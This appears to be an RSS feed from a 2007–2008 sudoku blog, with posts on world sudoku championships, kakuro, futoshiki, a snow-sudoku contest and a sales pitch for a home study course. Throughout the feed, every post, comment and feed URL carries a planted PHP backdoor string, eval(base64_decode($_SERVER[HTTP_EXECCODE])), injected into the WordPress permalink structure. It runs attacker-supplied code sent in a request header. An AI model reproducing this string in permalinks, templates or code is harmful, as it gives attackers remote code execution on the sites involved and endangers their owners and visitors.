How To Solve Sudoku Puzzles Quickly and Easily » sudoku http://crackthesudokucode.com/blog Learn strategies and tips on cracking difficult sudoku puzzles Tue, 23 Dec 2008 19:00:53 +0000 http://wordpress.org/?v=2.9.2 en hourly 1 More Sudoku Video Training To Come! http://crackthesudokucode.com/blog/2008/12/23/more-sudoku-video-training-to-come/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://crackthesudokucode.com/blog/2008/12/23/more-sudoku-video-training-to-come/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Tue, 23 Dec 2008 19:00:53 +0000 Melvin http://crackthesudokucode.com/blog/?p=48 I hope you are staying warm during this brutal winter season!

I’m sure many of you’ve heard the news about the United States being  covered in huge piles of snow!

Who wouldn’t want to stay warm in weather like this?

Especially when the wind chill is -35 degrees below zero!!

But, I’m not writing to talk about my frustrations with cold weather & snow.

I’m addressing some frustrations that many of you have who have been on my email list for years.

It has been a long time since I sent you any update about the activities at Crack The Sudoku Code.com

I know that I’ve promised some of you periodic updates on sudoku solving tips and reports on various research I was conducting about sudoku difficulty levels.

Instead, you’ve received a few emails about topics not even related to sudoku puzzle solving!

With that being said, I wanted to write this email to apologize for my failure to provide you with the latest,
cutting edge news about sudoku and new solving strategies.

It is totally my fault and I regret not giving you the information you requested.

Since it’s the end of the year, and I’m in the Christmas Spirit, I am correcting every wrong deed & failed commitment before 2009 begins.

I’ve decided to provide something exciting & free for all of my subscribers.

I am going to cut through all of the nonsense and get straight to the point.

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So please pay close attention to what I’m about to share & read carefully!

What I have decided to propose will only be available for a select group of people, for only a short period of time.

Starting in 2009, I will be offering weekly step by step video training workshops on how to solve highly difficult sudoku puzzles with detailed explanations of complicated techniques and scheduled assignments.

I will slowly walk you through solving evil to diabolical puzzles in minutes and send you similar puzzles for the purpose of practicing the new techniques every week.

The sad news is that it is only available for past & present customers of our Crack The Sudoku Code Home Study Course.

I will be limiting this special weekly training to only our 2008 & earlier customers.

The reason for this is that I’m changing the system I use to process payments and anyone who purchased through the old system were automatically placed in a special mailing list.

I will be using that same mailing list to send out the weekly training videos.

For some odd reason, the new platform does not carry this capability, and I would have to add each customer to the mailing list manually.

I don’t plan on doing that, since it will take too much of my time.

So, if you would like to join us in this special training, I am encouraging you to become a customer while you still have time!

The year is about to come to an end and I will not be offering this special deal and training to future customers in 2009.

I know that sounds unfair, but I just won’t have the system in place to do it next year.

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Remember, you only have a few days left before 2008 comes to an end, so hurry up before it’s too late!

I’ll see you on the other side!

Be Blessed and Have A Happy Holidays!
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]]> http://crackthesudokucode.com/blog/2008/12/23/more-sudoku-video-training-to-come/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 0 I Have A Doctorate In Sudoku Puzzle Solving! http://crackthesudokucode.com/blog/2008/05/05/i-have-a-doctorate-in-sudoku-puzzle-solving/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://crackthesudokucode.com/blog/2008/05/05/i-have-a-doctorate-in-sudoku-puzzle-solving/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Mon, 05 May 2008 23:57:43 +0000 Melvin http://crackthesudokucode.com/blog/sudoku-tournament/i-have-a-doctorate-in-sudoku-puzzle-solving/ Now I know you are looking at this blog title and probably wondering what in the heck am I talking about.? Sometimes I don’t even know what I actually mean. Of course, I know this sounds strange, especially coming from someone who claims to be an expert in sudoku. But that’s exactly it. I am just an expert, not a doctor in the science of sudoku puzzle solving.

With that being said, I should just get straight to the point. Stephen Snyder, a post-doctorate student from Stanford University, has won , not his 1st, but his 2nd World Sudoku Championship. Someone, who actually has a real doctorate degree in Genetics, has grabbed the World Sudoku Title once again. This 2 day event was held in Goa, India on April 16th and has brought together 30 different countries to compete for the World Sudoku Championship Title. Initially, Snyder had come into the competition ranked second behind sudoku expert Jakub Ondrousek, from the Czech Republic. After seven rounds of individual play, Snyder obtained the highest points to still hold onto his position as the ” King Of Sudoku Puzzle Solving”

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]]> http://crackthesudokucode.com/blog/2008/05/05/i-have-a-doctorate-in-sudoku-puzzle-solving/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 0 The Death Of Sudoku Puzzles http://crackthesudokucode.com/blog/2007/05/04/the-death-of-sudoku-puzzles/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://crackthesudokucode.com/blog/2007/05/04/the-death-of-sudoku-puzzles/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Fri, 04 May 2007 21:26:51 +0000 Melvin http://crackthesudokucode.com/blog/general/the-death-of-sudoku-puzzles/ Maybe it’s just my own observation; or could it be that we are actually seeing the slow decline of yet another popular puzzle game.

Have any of you noticed that sudoku and its addictive number puzzles are not talked about much?

Of course we know that over time it has lost its “craze element”. However, are we slowly approaching the death of sudoku and sudoku puzzles?

I am looking forward to hearing your comments and answers to this
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]]> http://crackthesudokucode.com/blog/2007/05/04/the-death-of-sudoku-puzzles/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 4 Sudoku VS. Kakuro http://crackthesudokucode.com/blog/2007/03/08/sudoku-vs-kakuro/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://crackthesudokucode.com/blog/2007/03/08/sudoku-vs-kakuro/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Thu, 08 Mar 2007 17:31:00 +0000 Melvin http://crackthesudokucode.com/blog/kakuro-news/sudoku-vs-kakuro/ kakuro puzzleWhile sudoku is still on its way to becoming a household term in the United States, another big brother of this popular puzzle game is currently on the rise. Kakuro, or cross-sums, is now popping its head up as the most amusing number logic puzzle game created. Last year, ABC News reported that the popularity of kakuro has ecclipsed that of sudoku in Japan and the UK.

Even though Kakuro can not be found in every major publication, it has been voted as the ‘new craze’ among sudoku enthusiasts worldwide. Sudoku puzzles are currently printed in nearly every major newspaper and magazine around the world and its safe to say that most individuals you know may have attempted to solve a sudoku puzzle at some point. But when you hear of countries like China, jumping on the Kakuro train, that’s a definite sign that this puzzle game is on its way to becoming a popular and enjoyable past time, just like its younger brother sudoku. Chinese college students are finding this game more challenging than sudoku. Cheng Hao, who is a college student from Shenzhen, discovered kakuro while searching for sudoku puzzles on the internet. He has now become addicted to kakuro and plays it more than sudoku.

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]]> http://crackthesudokucode.com/blog/2007/03/08/sudoku-vs-kakuro/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 5 Sudoku On Ice http://crackthesudokucode.com/blog/2007/03/01/sudoku-on-ice/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://crackthesudokucode.com/blog/2007/03/01/sudoku-on-ice/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Thu, 01 Mar 2007 19:11:32 +0000 Melvin http://crackthesudokucode.com/blog/sudoku-tournament/sudoku-on-ice/ sudoku puzzle competition on ice

It’s a clear sign and indicator that we are becoming mad and insanely in love with sudoku when we start organizing giant sudoku puzzle competitions on ice. Earlier this week, in the Big Apple, sudoku lovers had a chance to play Snowdoku in order to win a grand prize ski trip to Aspen, Colorado. The competition was organized by The Chrysler Group as a way to promote their newly refined 2007 Chrysler Aspen SUV. The competitors had to partner with individuals to form a team, carry a giant six foot pencil to mark solutions on a large 30 foot X 30 foot sudoku grid made up of 36,000 lbs of snow and ice.
The winners of the Snowdoku competition were a team of five women from the University Of Pennsylvania swim team. They ended up solving the giant sudoku puzzle in 4 minutes and 26 seconds.

If you would like to learn more about sudoku puzzles, sudoku tips or even how to play this number game please visit: http://www.squidoo.com/sudokupuzzle/ for a FREE Guide.

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]]> http://crackthesudokucode.com/blog/2007/03/01/sudoku-on-ice/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 1 Futoshiki Murders Sudoku ? http://crackthesudokucode.com/blog/2007/02/02/futoshiki-murders-sudoku/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://crackthesudokucode.com/blog/2007/02/02/futoshiki-murders-sudoku/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Fri, 02 Feb 2007 18:01:25 +0000 Melvin http://crackthesudokucode.com/blog/puzzles/futoshiki-murders-sudoku/ futoshiki puzzleSudoku has become the brain narcotic of the 21st century. Many individuals have become hooked and addicted to the challenge it brings. The popular puzzle game has now made its way onto the pages of many national newspapers and various publications. However, these fiendish puzzles better watch out, because there’s a new brainteaser that is slowly gaining approval in the puzzle solving community.

Futoshiki, also called Hutoshiki, is a number logic puzzle game from Japan that is gradually becoming more likeable than the game sudoku. It is similar to sudoku because you have to place a set of numbers in a particular order so that each row and column contains the numbers once. But what makes futoshiki slightly different is not only the removal of the 3X3 box constraint seen in general sudoku, but the addition of greater than or less than signs that affects the number placement in each of the cells.

Futoshiki which means “not equal”, may appear to be straightforward and easy to solve, but just like in most sudoku puzzles, we can not be deceived by appearances.

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]]> http://crackthesudokucode.com/blog/2007/02/02/futoshiki-murders-sudoku/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 1 Sudoku Puzzles Help Mathematicians http://crackthesudokucode.com/blog/2007/01/26/sudoku-puzzles-help-mathematicians/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://crackthesudokucode.com/blog/2007/01/26/sudoku-puzzles-help-mathematicians/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Fri, 26 Jan 2007 20:40:39 +0000 Melvin http://crackthesudokucode.com/blog/general/sudoku-puzzles-help-mathematicians/ As sudoku is becoming increasingly popular in the United States, many universities are adopting these number puzzles as a means to develop math and problem solving skills in college students. As ACT scores continue to decline below the national average, there will be a greater need to introduce resources and material that will help incoming college students develop math solving skills. Mathematicians believe that sudoku puzzles are a good way to help below average students with this ability.

Sudoku as a math problem

“Sudoku can help develop math skills because players are encouraged to use logic and skill that normal math classes may not exercise,” said Tracy Roberts, who is an assistant registrar for research at Murray State. Often times, it’s not solely the math principles that students misunderstand, but it’s the logic and reasoning involved in using the math principles to solve problems that most students have a hard time doing. Some professionals believe that the solution to helping these students would be to use a tool that will get their brains thinking in a way it has never thought before. The infamous logic game called sudoku is one of the best means to do this. It is not only a number game of logic and critical reasoning, but it is also a very fun and entertaining game to play.

To learn more reasons why sudoku is beneficial, and how to play this puzzle game, click here or visit http://www.squidoo.com/sudokupuzzle

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]]> http://crackthesudokucode.com/blog/2007/01/26/sudoku-puzzles-help-mathematicians/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 2 Crack Sudoku on Squidoo http://crackthesudokucode.com/blog/2007/01/19/crack-sudoku-on-squidoo/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://crackthesudokucode.com/blog/2007/01/19/crack-sudoku-on-squidoo/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Fri, 19 Jan 2007 20:48:58 +0000 Melvin http://crackthesudokucode.com/blog/general/crack-sudoku-on-squidoo/ CrackTheSudokuCode.com has just launched their first sudoku lens on the squidoo service. This site is still in the developing stages but it contains some meaty information on the origen of sudoku and how to play sudoku. Upon the site’s completion, there will be an online store to purchase sudoku puzzle books and various other links and resources for sudoku lovers. The site presently contains a poll of how often people play sudoku, an advertisement of the Crack The Sudoku Home Study Course, and various feeds from the crack the sudoku blog page.

To visit this squidoo lens, please click here or visit http://www.squidoo.com/sudokupuzzle

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]]> http://crackthesudokucode.com/blog/2007/01/19/crack-sudoku-on-squidoo/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 0 The 2nd World Sudoku Championship http://crackthesudokucode.com/blog/2007/01/11/the-2nd-world-sudoku-championship/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://crackthesudokucode.com/blog/2007/01/11/the-2nd-world-sudoku-championship/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Fri, 12 Jan 2007 04:24:59 +0000 Melvin http://crackthesudokucode.com/blog/sudoku-tournament/the-2nd-world-sudoku-championship/ 2nd World Sudoku Championship

This is to inform all the sudoku experts around the world that the World Puzzle Federation wil be having their 2nd World Sudoku Championship in Prague, Czech Republic on March 28th – April 1st. This is a great opportunity for puzzlers to gather and compete for the title of sudoku grandmaster.

Last year, the 1st World Sudoku Championship was held in Lucca, Italy as a three day event that began with an opening dinner\banquet. The following days were filled with intense puzzle solving of every type of sudoku imagineable. Representatives from 22 nations gathered to become a part of this three day event. This tournament was won by a 31 year old Czech Economist named Jana Tylova.

Anyone can become involved and represent their country in this competition. However, the maximum number of participants is limited to six per team. For those that love to solve complex sudoku puzzles and would enjoy being a part of this competion, visit the following link to learn more about this upcoming tournament.

2nd World Sudoku Championship

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1. WebSudoku.com

2. SudokuSlam.com

3. SudokuBear.com

4. BrainBashers.com

5. dkmsoftware.com/sudoku

6. SudokuOnline.us

7. SudokuKingdom.com

8. SudokuLive.net

9. SudokuPuzzles.net

10. Sudoku.org/sudoku-play-online.php

Most of these sudoku sites are very similar in their playability and functionality but some may have a slighltly different way of adding numbers \ solutions to the grid.  Each puzzle you attempt to solve is timed and there are ways of choosing the level of difficulty for each sudoku.  Some of the sites may contain a unique theme that makes the puzzle solving less boring or general.

If you have any other online sudoku sites you would like to list or recommend to others, please leave a comment on this site.

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